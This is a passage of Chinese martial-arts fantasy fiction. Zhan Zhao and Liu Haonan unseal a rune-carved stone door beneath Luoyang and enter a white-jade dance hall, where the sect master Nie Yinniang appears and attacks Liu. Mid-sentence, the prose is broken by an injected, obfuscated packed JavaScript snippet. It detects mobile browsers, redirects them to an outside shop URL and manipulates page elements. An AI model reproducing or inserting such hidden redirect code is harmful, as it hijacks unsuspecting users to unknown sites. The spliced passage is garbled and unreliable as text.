展昭也点燃了自己的火折,与刘皓南交换了一个极其短暂、充满戒备的眼神。两人都没有说话,默契地一左一右,相隔数步,缓缓向石室深处、啜泣声最集中的方向探去。脚步声在密闭的石室中发出轻微而空洞的回响,混合着那时断时续、如丝如缕的幽泣,营造出一种令人头皮发麻、脊背生寒的诡异氛围,仿佛每一步都踏在某个沉睡巨兽的胸腔之上。 石室并不深,前行不过十余步,便到了尽头。尽头处,是一扇紧闭的、看似厚重的石门。门上无锁无环,光秃秃的,却刻着一个巨大的、几乎占据了整扇门板的图案——那图案线条扭曲繁复,似人非人,似兽非兽,仔细看去,竟像是一个以极其夸张姿态飞舞的、面目模糊的“仙娥”或“飞天”,但其姿态透着一股说不出的邪异与痛苦。而更让展昭心头一震的是,这石门上的巨大扭曲飞天图案,其神韵、其姿态,竟与他发间那支白玉簪上刻画的、相对端庄的飞天纹样,有八九分相似!只是放大了无数倍,也扭曲邪异了无数倍! 更令人心悸的是,石门下方的缝隙中,正缓缓地、一丝丝地渗出一缕极淡的、暗红色的雾气。那雾气带着明显的甜腥气味,与展昭之前在井口附近砖缝中嗅到、在案卷中死者衣物上残留描述的气味,如出一辙! 刘皓南蹲下身,没有直接用手去碰触那红雾,而是并指如剑,指尖凝聚一丝极淡的内力,轻轻探向雾气边缘。他的指尖刚触及那缕暗红,脸色骤然一变,仿佛被无形的针扎了一下,迅速收回手指,指尖竟隐隐泛出一丝不正常的青黑色,虽然转瞬即逝,但已足够惊心。他猛地抬头,看向几步外同样神色凝重的展昭,眼中是前所未有的冰冷与肃杀,声音压得极低,却字字清晰: “这雾……是‘血祭之气’,而且极浓!此地……恐怕不止是古墓或密室那么简单。” 几乎在他话音落下的同时,石门后那一直幽幽不绝、仿佛背景音般的啜泣声,骤然拔高,变得尖锐无比,化作一声凄厉到足以刺穿耳膜、直抵灵魂深处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185067|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女人尖啸! “啊——!!!” 尖啸声在密闭的石室内疯狂回荡、碰撞、叠加,震得人耳膜刺痛欲裂,头脑嗡嗡作响。火折子的光芒被声浪冲击得剧烈摇曳、明灭不定,将石壁上那些舞蹈人形的影子拉扯得扭曲变形、狂舞乱窜,仿佛它们真的挣脱了石壁的束缚,化作了无数狰狞的鬼影,张牙舞爪地向两人扑来!空气中甜腥的血雾味道瞬间浓烈了数倍! 同一瞬间,两人做出了截然不同却同样迅捷的反应。 展昭在尖啸响起的刹那,左手已闪电般探入怀中,不是握剑,而是抓住了那包首饰中另一件物事——一枚触手温润的圆形玉佩。他不及细看,凭借着多年来生死搏杀间练就的本能与对师妹所赠之物的基本信任,将玉佩紧紧握在掌心,同时口中低喝一声,运起师门玉女门中固守灵台、抵御外邪的“冰心诀”。玉佩入手微凉,一股清流般的气息顺着手臂迅速蔓延,配合心法,竟将那直钻脑海的尖啸魔音抵挡了大半,虽然依旧刺耳,但已不至于心神失守。他右手的巨阙剑已然出鞘半尺,寒光映着他冷冽的双眸,警惕地扫视着声音传来的石门方向以及周围晃动的壁画鬼影,身体微微前, 刘皓南亦在同一时间做出了反应,但他的方式与展昭截然不同,更显诡秘莫测。在尖啸爆发的瞬间,他眼中厉色一闪,左手拇指迅疾划过右手食指指腹,一滴殷红的血珠沁出,随即被他以食指凌空虚划,指尖带血,在身前瞬间勾勒出一个极其简洁、却透着古老蛮荒气息的怪异符号——那是辽地萨满巫术中用以“惊魂定魄”、震慑邪祟的“血符印”。符印成型的刹那,空气仿佛微微震颤了一下,那直钻脑海的尖啸魔音竟似被一道无形的屏障削弱了几分,虽仍刺耳,但其中蕴含的那种惑乱心神、勾起心底恐惧的力量被暂时阻隔在外。 与此同时,他右手手腕一翻,袖中已滑出数张黄符纸,看也不看便朝石门方向一甩,那几张符纸并非攻击,而是如同有生命般贴附在石门前方地面,隐约构成了一个简单的隔绝阵法,试图阻挡那越来越浓的血色雾气蔓延。他身形微弓,摆出的并非华山派的起手式,而是一种更近乎野兽搏击前的姿态,目光如电,紧紧锁定声音来源的石门,眼角余光却始终分出一丝,留意着展昭的动作和反应。 当看到展昭取出的玉佩和施展的“冰心诀”时,刘皓南眼底深处闪过一丝不易察觉的了然与评估。他认得那气息,那是玉女门正宗的心法路数,中正平和,专克阴邪。他心中对展昭的评价提高了一分,同时也更加警惕——这位开封府的御前护卫,不仅剑法超群,对这类诡谲事件的应对也颇有章法,其师门渊源看来比自己之前所知更深。前夜那枚自动飞出伤人的金簪,与此刻这玉佩,显然同出一源,这让他对展昭(或者说其背后的庞小蝶)掌握的手段,又多了几分估量。 尖啸声持续了约莫三四个呼吸的时间,才渐渐衰弱下去,重新变回那幽幽的啜泣,但其中似乎夹杂了一丝怨毒与不甘。石室内晃动的影子也渐渐恢复成壁上静止的舞蹈人形。空气里那股甜腻的血腥味却更加浓郁了,石门缝隙中渗出的红雾也似乎浓稠了一分。 两人谁都没有立刻动作,保持着防御姿态,在摇曳的火光中对视了一眼。展昭看到刘皓南指尖尚未完全消散的符印微光,以及他身前地面上那几张微微颤动、散发出微弱抗拒之力的黄符,心知对方在术法一道确有造诣,且手段颇为偏门狠辣。而刘皓南也看清了展昭手中那块温润玉佩上流转的淡淡光华,以及他周身气息的沉凝稳固。 “这声音……能引动人心底最深处的恐惧与幻象,”刘皓南率先打破沉默,声音低沉,带着一丝消耗后的微哑,显然刚才的血符和隔音符也并非毫无代价,“非内力高深或定力极强者不可抵御。石门之后,恐有极大凶险,且与这‘血祭之气’和这邪门舞蹈脱不了干系。” 他顿了顿,目光扫过石门上那扭曲的飞天图案,又看向展昭发间的白玉簪,“展护卫师门之物,似与此地颇有渊源。不知对这图案,可有所知?” 展昭缓缓将玉佩收回怀中,巨阙剑依旧半出鞘状态,沉声道:“簪上飞天纹,乃是源于唐代宫廷的‘赞佛舞’中‘飞天乐舞’造型,意在表现礼佛飞升、仙姿妙曼。但这石门上的……” 他剑尖微抬,指向门上那扭曲痛苦的形象,“形似而神非,充满邪戾之气,似是某种……扭曲、异化的模仿,或者……被污染的变体。” 他看向刘皓南,目光锐利,“刘兄方才提及‘血祭之气’,此乃邪术无疑。此地凶险,但或许正是命案关键。刘兄既邀展某合作,想必已有计较?” 刘皓南扯了扯嘴角,算是回应了展昭的试探。他收回打量石门的目光,转向那扇紧闭的石门,眉头紧锁:“血祭之气如此浓郁,门后恐有血池或祭祀法坛一类事物。这石门看似普通,但能与地气相连,且有邪音守护,定有机关或禁制。硬闯非但可能毁去线索,更恐触发更厉害的后手。” 他指了指自己布置的几张黄符,其中一张贴在门缝红雾最浓处的,边缘已经开始微微卷曲发黑,“寻常方法恐怕难以开启,需找到正确方法,或……以特殊之物为引。” 他的目光再次有意无意地扫过展昭发间的白玉簪,又似乎不经意地碰触了一下自己内襟那枚阴寒的梅花金簪所在的位置,意思不言而喻。这两件玉女门法器,或许便是“钥匙”的一部分。 展昭立刻明白了刘皓南的暗示,但他并未立刻回应。他走近石门两步,仔细打量,甚至冒险伸手(以剑气包裹)轻触石门表面。触手冰凉,非金非石,质地奇异,上面除了那巨大的扭曲飞天,还刻有无数细密如蚊蚋的符文,只是大半被污渍和苔藓覆盖。“刘兄可识得这些符文?” 刘皓南也凑近观察,他精通多种文字秘符,但此刻眉头却皱得更紧:“部分像是吐蕃密宗的镇文,部分又似道家的封魔咒,还有些……从未见过,像是几种符文杂糅变异而成,且被这血祭之气长期侵染,性质已变。” 他指向符文几个关键节点,“你看这里,还有这里,符文断裂处,有新近磨损的痕迹,虽然很轻微。有人试图破解过,但失败了,或者……只进行到一半。” 两人都陷入了短暂的沉默。石门之后,危险与秘密并存。要开门,似乎需要特定的“钥匙”(可能与玉女门法器或赞佛舞有关),且需破解这混合符文禁制。两人各有所长,也各怀戒心。 “展某可试以师门心法,催动此簪,看能否与门上图案或符文产生感应。” 展昭最终开口,手已按上了发簪,但目光直视刘皓南,“但需刘兄以符箓或秘术,暂时压制门上溢出的血祭之气与邪音干扰,并护住展某施法时不被反噬。同时,请刘兄留意门上符文变化,找出可能的生门或枢纽所在。” 这是将后背暂时交托,但也将破解的核心任务揽了过来,同时要求对方出力配合并暴露更多手段。 刘皓南深深看了展昭一眼,似乎在权衡利弊,又似乎在评估风险。几息之后,他点了点头,声音平淡却带着一丝决断:“可。我会以‘镇灵符’与‘清心咒’护住你周身三尺,并尝试以萨满‘通灵术’感应符文脉络,寻找关键节点。但施法期间,我自身防御会降至最低,若门后或有其他东西趁机发难……” “展某自会以巨阙剑为刘兄护法。” 展昭接得毫不犹豫,剑身完全出鞘,寒光凛冽,“你我既为开门而入内,便需暂时信这一回。出得此门,再论其他。” 短暂的盟约,在诡异幽暗的井底石室中达成。两人不再多言,各自行动起来。展昭盘膝坐在石门正前方三尺处,拔出白玉簪置于掌心,默运玉女门“冰心诀”与“引灵术”,将精纯内力缓缓注入簪中。白玉簪开始散发出柔和而稳定的乳白色光华,簪头的飞天纹路似乎活了过来,隐隐与石门上的扭曲图案产生了一丝微弱的共鸣,发出轻微的嗡鸣。 刘皓南则迅速在展昭周围的地面,以特制朱砂混合自身精血,快速勾勒出两个嵌套的小型符阵,口中念念有词,晦涩古老的咒文在石室中低回。他左手捏诀,维持符阵运转,抵御着不断从门缝渗出的血雾和时强时弱的啜泣尖啸干扰;右手则并指如剑,指尖萦绕着极淡的黑色雾气(萨满通灵术的外在表现),缓缓隔空拂过石门上的那些变异符文,闭目仔细感应着其中残留的灵力流向与阻塞节点。他的额头很快渗出了细密的汗珠,显然同时维持两样消耗极大的术法,并且要在血祭之气的侵蚀下保持感应清明,极为吃力。 展昭头顶的白玉簪光华越来越盛,与石门的共鸣也越来越强,甚至开始牵引石门上的扭曲飞天图案微微发光,那些诡异的线条似乎有被“纠正”、“抚平”的趋势。但与此同时,门后的啜泣声也变得焦躁狂暴起来,血雾翻涌加剧,不断冲击着刘皓南布下的符阵,发出“嗤嗤”的腐蚀声响。刘皓南的脸色以肉眼可见的速度苍白下去,但他维持咒文的手指稳定如初,感应符文脉络的右手移动却越来越快,似乎在追踪着某个关键的“点”。 “找到了!左下方三尺,那处断裂符文的交叉点!”刘皓南猛地睁眼,低喝道,声音带着一丝疲惫的沙哑。 就在他话音落下的瞬间,石门上被白玉簪光华重点笼罩的区域,那扭曲飞天的“心口”位置,一个细微的、与白玉簪簪头云纹几乎一模一样的凹槽,在光芒照耀下清晰地显现出来!而刘皓南所指的左下方符文交叉点,也同时泛起了诡异的暗红色微光,仿佛一个锁孔。 “将簪插入心口凹槽!同时以剑气或内力激发我所指符文节点!”刘皓南急促道,同时咬破舌尖,一口精血喷在维持的符阵上,符阵光芒一盛,勉强抵住了骤然加强的血雾冲击。 展昭没有丝毫犹豫,他知道此刻已是箭在弦上。手腕一抖,掌中白玉簪化作一道流光,精准无比地射向石门飞天“心口”的凹槽!“叮”一声轻响,玉簪入槽三分之二,严丝合缝!几乎在同一刹那,他左手并指如剑,一道凝练无比的剑气脱手而出,直射刘皓南所指的那个暗红符文节点! “噗”一声闷响,剑气击中节点的同时,插在凹槽中的白玉簪骤然爆发出刺目的白光!整个石门上的符文如同活过来一般,开始疯狂流转、明灭不定!那扭曲的飞天图案在白光中剧烈挣扎、变形,发出无声的凄厉嘶喊!门后的啜泣尖啸达到了顶点,几乎要刺穿人的耳膜! “轰隆隆——!!” 一阵沉闷的巨响从石门内部传来,厚重的石门开始缓缓向内打开,一股更加浓郁、令人作呕的甜腥血气,混合着陈年灰尘和一种难以言喻的、仿佛无数花朵腐败的奇异香气,从门后汹涌而出!门缝中,隐约可见暗红色的、粘稠的微光在流淌。 门,开了。 但展昭与刘皓南脸上并无喜色,只有更深的凝重。他们知道,真正的危险,或许才刚刚开始。两人几乎在石门停止移动的瞬间,便已调整好气息,一左一右,紧握兵刃(展昭的巨阙剑,刘皓南袖中滑出的精钢短刺),将状态提升至巅峰,警惕地望向那门后深不可测的、泛着不祥红光的黑暗。 40. 和田白玉舞殿 洛阳城下,不知多深的地底。 当石门在白玉簪与符文的共鸣下轰然洞开,展昭与刘皓南面对的并非预想中的墓室、甬道或血池,而是一条向下倾斜、同样由白玉铺就的短短阶梯。阶梯尽头,豁然开朗。 两人踏出阶梯的瞬间,即使是以他们的心性定力,也不由得呼吸一滞,瞳孔微缩,被眼前所见深深震撼。 那是一座无法用言语形容其奢靡与诡异的殿宇。 整座大殿,竟是由完整无瑕的羊脂和田白玉砌成! 不是镶嵌,不是贴面,而是实实在在的,墙壁、地面、穹顶、梁柱……目光所及,皆为温润无瑕、在不知源自何处的柔和光源下,流淌着油脂般光泽的顶级白玉。白玉本身已价值连城,而如此巨大、毫无拼接痕迹的整料构建殿宇,其耗费之巨,堪称倾国倾城。光线透过纯净的玉质,被反复折射、晕染,让整个空间都沉浸在一种朦胧、清冷又无比华贵的光晕之中,仿佛置身于一块巨大无比的、内部发光的玉髓之内。 空气冰凉,弥漫着一股混合了陈年香料、极淡血腥以及玉石本身冷冽气息的奇特味道。最令人心悸的,是四壁、穹顶乃至那十二根均匀分布的合抱粗玉柱上,雕刻的无数飞天乐伎。 雕刻技艺登峰造极,每一个飞天都姿态各异,裙裾飞扬,披帛环绕,仿佛正从玉壁中破壁欲出,即将凌空起舞。她们或反弹琵琶,或吹奏笙箫,或击打腰鼓,或舒展长袖,面容或庄严,或妩媚,或含笑,或低眉。在无处不在的玉光映照下,这些雕像仿佛拥有了生命,衣袂纹理清晰可见,肌肉线条流畅饱满。然而,仔细看去,会发现所有乐伎的眼睛,无论看向何方,都空洞无神,嘴角那一丝固定的微笑,在流动的光影中显得格外诡异。更让人不安的是,雕像所用的彩绘颜料似乎掺入了特殊物质,在玉光的折射下,隐隐流动着一层暗红如凝固血液的色泽,尤其点缀在唇部、指尖、乐器和飘带末端,仿佛刚刚经历过一场无声的、奢华的祭祀。 刘皓南立于大殿东侧,指尖的冰凉触感尚未完全消退,心头却已掀起惊涛骇浪。如此手笔,遍地和田白玉,穷尽想象也难以估量其价值与工程之艰巨。这绝非寻常皇亲国戚、富商巨贾所能为,甚至一般的帝王陵寝也未必有此等丧心病狂的奢华。他脑海中瞬间闪过史书中对太平公主“珍玩藏于私第,锦绣珠玉,侔于宫掖”的记载,以及那些关于她曾在洛阳等地广筑宅邸、藏匿宝物的传闻。唯有那位在武周与李唐交替之际,权倾天下、富可敌国,且对吐蕃密宗、佛教艺术乃至各种奇技淫巧都抱有浓厚兴趣的太平公主,才有可能,有动机,也有能力,在这洛阳城下,建造如此一座超越常人理解的白玉宫殿。这绝非简单的藏宝库或享乐之地,如此规模,如此诡异的布置,更像是一个……庞大的、精心设计的仪式场所,或者说,一个以极致奢华包装的巨大囚笼或祭坛。 他眼角余光如最锋利的刀锋,悄然扫向立于大殿西侧的展昭。这位开封府的“御猫”,此刻身姿挺拔如松,右手稳稳按在巨阙剑柄之上,虽未出鞘,但那蓄势待发的姿态,比出鞘的利剑更令人警惕。聂隐娘的徒弟,玉女门的传人,剑法光明,行事正派,这是江湖公认。但此刻,在这诡异绝伦、明显与玉女门(其源头与唐宫关系密切)可能大有渊源的地宫之中,他的立场,他的目的,是否还如表面上那般单纯?他是追踪案件而来,还是……另有所图?昨夜那枚自动护主、阴寒刺骨的金簪,是否预示着他或者他背后的庞小蝶,对此地早有了解甚至有所布置?刘皓南的每一个念头都在冷静地评估风险,体内的真气如潜伏的毒蛇,在经脉中无声游走,随时准备应对任何可能的发难。 展昭同样心神剧震。他见过皇宫大内,见过王府豪宅,但从未想象过世间竟有如此由纯玉构筑的殿宇。玉质温润的光华此刻却显得冰冷刺骨,壁上那些栩栩如生却又透着邪异的飞天乐伎,空气中那若有若无的甜腥与古老香料混合的气味,都让他后背生寒。这绝非人间应有之景,倒像是话本志怪中描绘的、被封印的妖魔洞府。他同样在瞬间做出了判断:此地所费,足以动摇国本,绝非薛家一介商贾所能拥有,甚至超越了一般王侯的规制。联想到太平公主的传闻,以及师妹庞小蝶那些语焉不详的叮嘱和所赠法器,一个令人不寒而栗的猜想逐渐成形。 他的目光与刘皓南隐晦扫来的视线在空中短暂一碰,旋即分开,没有任何交流,只有冰冷的审视与毫不掩饰的戒备。刘皓南夜探薛府,目标明确直指人皮画像,对吐蕃秘术、诡异阵法了如指掌,所用武功路数驳杂诡异,昨夜那黑衣人虽未看清面容,但其身法中的某些特质,与刘皓南方才在井下滑行、以及在石室中施展的某些小巧挪腾之术,隐隐有三分相似。此人背景成谜,所图甚大,出现在这与太平公主可能密切相关的诡异地宫,绝非巧合。他是为前朝遗宝而来?还是与那几起离奇疯癫、疑似与这“赞佛舞”或“仙娥幻象”有关的命案有直接牵连?甚至,他是否就是制造幻象、害人疯魔的元凶之一? 两人相隔数丈,沉默对立。殿内死寂,唯有不知从何处传来的、极其微弱却无处不在的、类似玉石内部因压力或温度变化而产生的细微“嗡鸣”声,以及自己血液流动、心跳呼吸的声音。这极致的寂静,反而将无形的压力放大了无数倍。这座华丽到令人窒息、又诡异到骨髓发冷的白玉舞殿,仿佛一个巨大的、美丽的囚笼,将他们连同各自的心思、秘密和锋芒一起冻结、封存。谁也不敢轻易动作,打破这脆弱的平衡,生怕触发未知的、更可怕的后果。 舞殿呈完美的圆形,直径目测超过十丈,穹顶高悬,雕刻着繁复的星象图,但那些星辰的位置与常见星图迥异,透着一股邪异。十二根需两人合抱的玉柱均匀分布,支撑着穹顶,每根柱子都雕刻着一名姿态各异、手持不同乐器的舞伎,与壁上的飞天遥相呼应,共同构成一个立体的、令人眼花缭乱的乐舞空间。地面的白玉打磨得光滑如镜,清晰地倒映出穹顶的星图和两人的身影,却又因玉质本身的纹理和光晕,使得倒影扭曲模糊,如同水中的鬼影。 刘皓南强压下心头的震撼与种种猜疑,开始更仔细地观察。他缓步走向最近的一面玉壁,伸出右手,指尖并未直接触碰那些色彩诡异的飞天雕刻,而是轻轻按在空白温润的玉质墙壁上。一股沁入骨髓的冰凉顺指尖传来,但更让他心头一凛的是——在这片看似死寂的冰凉之下,玉壁深处,似乎有极其微弱、却连绵不绝的震动传来。那震动并非来自外界,更像是玉石内部某种能量的流动,或者是与远处某个源头产生了共鸣,带着一种低沉到几乎无法察觉的频率,仿佛这座白玉宫殿本身,是一个沉睡的、缓慢呼吸的活物。 “展护卫可曾注意到,”刘皓南忽然开口,声音在这空旷寂静的玉殿中产生轻微的回响,打破了令人窒息的沉默,却也带来另一种紧张,“这些壁画与柱雕上的乐伎,手中乐器,皆为空握。” 展昭闻言,目光如炬,迅速扫过最近几处雕刻。果然!那些反弹琵琶的飞天,手中并无琵琶;吹奏筚篥的乐伎,唇前空空如也;击打羯鼓的舞者,双手悬在鼓面之上……所有本应持有乐器的地方,都只留下了持握、弹拨、吹奏的姿态,仿佛乐器在雕刻完成的最后一刻,被无形之手悄然取走。这不可能是疏忽,如此浩大精细的工程,绝无可能出现如此统一的“失误”。这更像是……一种等待,一种预留,一种仪式中尚未完成的关键环节。 “像是等待什么人,或者什么东西,来填补这些空缺。”展昭沉声道,巨阙剑不知何时已然出鞘三寸,雪亮的剑锋在玉光映照下,流动着森寒的杀意。他心中的警兆提升到了顶点。这空缺的乐器,与之前井底石门上缺失的“钥匙”,是否有所关联?这整座舞殿,是否是一个庞大的、尚未启动的“乐器”或者“阵法”? 就在二人对话,心神被这诡异细节所吸引的刹那—— “咔嚓……咯咯咯……” 一阵轻微却清晰的机括转动声,从大殿正中央光洁如镜的白玉地面下传来。紧接着,一块直径约五尺的圆形玉台,毫无征兆地、平稳地升了起来。玉台与地面严丝合缝,升起时几乎无声,台上赫然摆放着七件器物。 琵琶、箜篌、筚篥、羯鼓、铜钹、玉磬、白玉笛。 正是七把形态各异、却同样精美绝伦的玉制乐器!玉质与殿宇相同,温润无瑕,在殿内光线下流转着柔和的光泽,与壁上、柱上乐伎空手所缺的乐器种类、数量,完美对应! 这七件玉乐器静静躺在升起的玉台上,仿佛早已等候多时,等待着被奏响,或者被安置到它们应在的位置。 变故接踵而至,根本不给二人细看和思考的时间! “轰!” 大殿侧面,一扇与玉壁花纹完美融合、几乎无法察觉的隐蔽玉门,猛地被人从内部撞开,发出一声闷响。一个身影踉踉跄跄地冲了出来。 那是一个少年,约莫十四五岁年纪,身形单薄瘦削,穿着一身洗得发白、多处破损的粗布衣衫,面色苍白如纸,头发散乱,赤着双脚。但最令人心惊的是他的眼睛——赤红如血,里面充满了疯狂的仇恨、绝望,以及一种濒临崩溃的恐惧。他像一头被逼到绝境、伤痕累累的幼兽,目光死死锁定在刘皓南身上,喉咙里发出嗬嗬的、不成调的嘶吼。 “贼!盗墓贼!你们这些该下油锅的贼!”少年嘶哑地咆哮着,声音因为激动和虚弱而颤抖,却带着一股令人心悸的狠绝,“把我家老祖宗的画像还来!我看见了!那天晚上……就是你!从祠堂拿走的!还给我!!!” 他根本不管站在一旁的展昭,也不顾自己与刘皓南之间实力的天渊之别,只是凭借着一股疯狂的执念,不管不顾地、张牙舞爪地朝着刘皓南直扑过去,挥拳便打,抬脚就踢。攻势杂乱无章,毫无章法,甚至下盘虚浮,显然并未习武,但那不顾自身、以命相搏的架势,却让这简单的扑击带上了一股惨烈的气势。 刘皓南眉头微蹙,面对这突如其来的袭击,眼中闪过一丝讶异,但更多的是冰冷的审视。他身形纹丝未动,甚至未曾抬手,只是在那少年扑到近前时,玄色袍袖看似随意地一拂。一股柔韧却不容抗拒的力道涌出,并非攻击,只是轻轻一推一送。那少年前冲的势头顿时被巧妙卸开、扭转,整个人如同被一阵旋风吹拂,身不由己地向旁边踉跄跌出七八步,方才勉强站稳,没有受伤,却气血翻腾,一时间说不出话来。 此子身法虚浮,气息紊乱,确非习武之人。但他言辞激烈,直指画像,且能说出“祠堂暗格”这等细节,必与薛家,或者说与这地宫、与那幅太平公主的人皮画像,有极深渊源。甚至可能就是薛家侥幸存活的血脉?刘皓南心念电转,正欲上前一步,出手制住这少年,仔细盘问—— 异变,在此时达到顶点! “嗡——!!!” 整座巨大的白玉舞殿,猛地、剧烈地一颤!不是地震,也不是外物撞击,而是这座由整块巨玉构筑的殿宇本身,从根基到穹顶,发出了一声低沉、宏大、充满痛苦或者说愤怒的共鸣!玉壁上所有飞天的眼眸,似乎在同一瞬间闪过更浓的暗红血光! 紧接着,殿顶那雕刻着诡异星象图的穹窿上方,虚空之中,毫无征兆地出现了无数道细密的、黑色的裂痕!那裂痕并非玉石崩裂,而是空间本身,如同被重击的琉璃一般,寸寸碎裂!透过裂痕,看不到砖石泥土,只有一片扭曲的、深邃的黑暗,以及从黑暗中泄露出的、令人灵魂都感到战栗的恐怖威压与……无上剑意! 一道青色身影,裹挟着仿佛能开天辟地、斩断虚空的沛然莫御的剑气,就那样踏着破碎的空间,如九天之上降临的玄女,一步,便从虚空裂痕中,走到了大殿之内! 来人尚未完全显形,其散发出的无形剑意已笼罩全场。殿中那不知燃烧了多少年、一直稳定散发光芒的数十盏长明灯,灯火齐齐矮了三分,光焰向内蜷缩,仿佛在向这凌驾一切的剑意表示敬畏与臣服。空气中弥漫的那股甜腥与香料混合的诡异气息,竟也被这纯粹、凌厉、至高无上的剑意涤荡一空,取而代之的是一种冰冷的、令人心神为之肃然的清净。 青影落地,化为一位女子。 她看上去不过四十许人,或许更年轻,面容清冷如最上等的羊脂白玉精心雕琢而成,无一丝皱纹,也无半分烟火气。眉眼如画,却透着亘古寒冰般的疏离与淡漠。她身着极为简洁的素白道袍,无任何纹饰,长发以一根乌木簪随意绾起,除此之外,周身再无半点装饰。她手中并无兵刃,但当她静立于此,整个人便已是一柄出鞘的、光华内敛却足以令天地失色的绝世名剑。那双深邃如古井寒潭的眼眸淡淡扫过,仿佛能洞穿一切虚妄,看尽百年沧桑,令人不敢直视,甚至不敢兴起丝毫对抗之心。 玉女门掌门,聂隐娘。 她的目光先是在自己徒弟展昭身上停留了一瞬,几不可察地微微颔首,算是打过招呼,眼神中并无太多情绪,只有一丝“你在此处”的了然。旋即,目光转向刘皓南,那清冷的眸子里,极快地掠过一丝极其复杂、难以捉摸的深意,似有审视,有回忆,有评估,还有一丝……几不可查的叹息,最终归于深不可测的平静。最后,她的视线落在那被眼前剧变惊得呆立原地、连疯狂都暂时忘却的瘦弱少年身上,轻轻叹了口气,那叹息声很轻,却仿佛带着奇特的魔力,瞬间抚平了殿中因空间碎裂和剑意降临而产生的无形波澜。 “痴儿,”聂隐娘开口,声音并不高,却清晰无比地传入在场每一个人耳中,清冷如玉磬轻鸣,不沾半点尘埃,带着一种穿透人心的奇异安抚力量,直接作用于灵魂深处,“莫要狂躁。你家祖传之物,暂且无恙。” 少年如同被施了定身法,怔怔地站在原地,赤红的双眼茫然地眨了眨,呆呆地看着这位仿佛从画中、不,从破碎虚空中走出的女子,一时之间,竟连那蚀骨的仇恨和濒死的恐惧都忘了,只剩下无边的茫然与懵懂。 聂隐娘却不再看他,也未曾对如临大敌、全身绷紧的刘皓南和同样心神震撼、却强行保持镇定的展昭多做解释。仿佛他们的存在,他们的戒备,他们的疑问,都无足轻重。她的目光,落在了大殿中央,那刚刚升起、摆放着七把玉制乐器的圆形玉台之上。 “这座‘幻音舞殿’,沉寂了太久了。”她轻声自语,又像是在对无形的岁月诉说,目光悠远,似乎穿透了重重白玉墙壁,看到了这殿宇落成时的景象,看到了那些早已湮灭在历史尘埃中的繁华与血腥,阴谋与哀歌。 话音未落,她素白的袍袖,只是那么轻轻一拂。 没有罡风呼啸,没有光芒大作。但那玉台上的七把玉制乐器——琵琶、箜篌、筚篥、羯鼓、铜钹、玉磬、白玉笛——却同时无风自动,仿佛被无形之手托起,缓缓地、平稳地悬浮起来,然后,如同归巢的乳燕,又如同被磁石吸引的铁屑,朝着四面玉壁、十二根玉柱上,那些空手等待了不知多少岁月的飞天乐伎雕刻,精准无比地飞去。 “咔哒。”“咔嚓。”“叮……” 轻微而连续的契合声响起。玉琵琶落入反弹琵琶飞天的怀中,玉箜篌靠在弹奏箜篌的乐伎手边,筚篥凑近吹奏者的唇畔,羯鼓悬于击鼓者的身前,铜钹贴合在拍钹者的掌心,玉磬轻触敲磬者的槌下,白玉笛则飘向横笛乐伎的指端…… 七把乐器,与七处雕刻,严丝合缝,完美归位。仿佛它们从未离开,一直就在那里,只是被时光暂时隐去了形体。 就在最后一把白玉笛归位的瞬间—— “铮——!” “咚!!” “呜——!!!” 整座白玉舞殿,活了! 无法形容的、宏大、空灵、诡异却又充满神圣与邪异矛盾感的乐声,骤然从四面八方响起!不是任何单一乐器,而是所有雕刻了乐伎的玉壁、玉柱,连同那些刚刚归位的玉乐器,共同共鸣发出的声音!墙壁上的飞天仿佛真的开始舞动衣袖,柱子上的乐伎仿佛真的在卖力演奏,无数光影在玉质表面流转变幻,暗红色的彩绘如同血脉般鼓动。穹顶的诡异星图开始缓缓旋转,投下迷离的光斑。 整座大殿,变成了一个巨大无比的、自行演奏的乐器,或者说,一个被启动的、庞大而古老的阵法核心! 而聂隐娘,就静静站在大殿中央,那圆形玉台之旁,素白的道袍在无形音波与能量流中微微拂动,神色依旧清冷平静,仿佛眼前这超越凡人理解、改天换地般的景象,不过是清风拂过山岗。她宛如掌控这一切的神明,又像是这古老仪式唯一的、寂寞的见证与重启者。 刘皓南与展昭,在这天地变色的景象中,不由自主地屏住了呼吸,握紧了手中的武器,全身每一根神经都绷紧到了极致。他们知道,真正的秘密,或许此刻才刚刚揭开帷幕。而这掌控一切的聂隐娘,她的目的,又是什么? “刘皓南,你好大的胆子!” 聂隐娘的声音并不高亢,甚至带着一种玉石相击般的清冷质感,可这短短一句话,却如同万载玄冰凝成的冰锥,狠狠凿入每个人的耳膜与心神!声音在由整块巨玉雕琢而成的殿堂中激荡、回响,每一片玉壁、每一根玉柱都在微微震颤共鸣,将那份冰冷的怒意放大了千百倍,无处不在,无孔不入,直抵灵魂深处。这不是内力催动的音波功,而是更高层次力量的自然外显,是言出法随般的威严。 话音未落,甚至不给刘皓南任何思考、辩解或反应的时间,聂隐娘只是随意地抬起右手,纤长如玉的食指对着刘皓南所在的方位,极其轻描淡写地、如同拂去一粒微尘般,屈指一弹。 没有破空之声,没有光芒闪耀。但在刘皓南的感知中,周遭的天地元气瞬间凝固、坍缩,化作无数道比牛毛更细、比精钢更韧、完全超越他武学认知的无形剑气!这些剑气并非直线攻击,而是瞬间交织成一张细密到极点、覆盖了他周身丈许方圆的气网,每一道“网线”都精准无比地锁定了他身上一处大穴、一处关节、一处真气运行的关键节点! 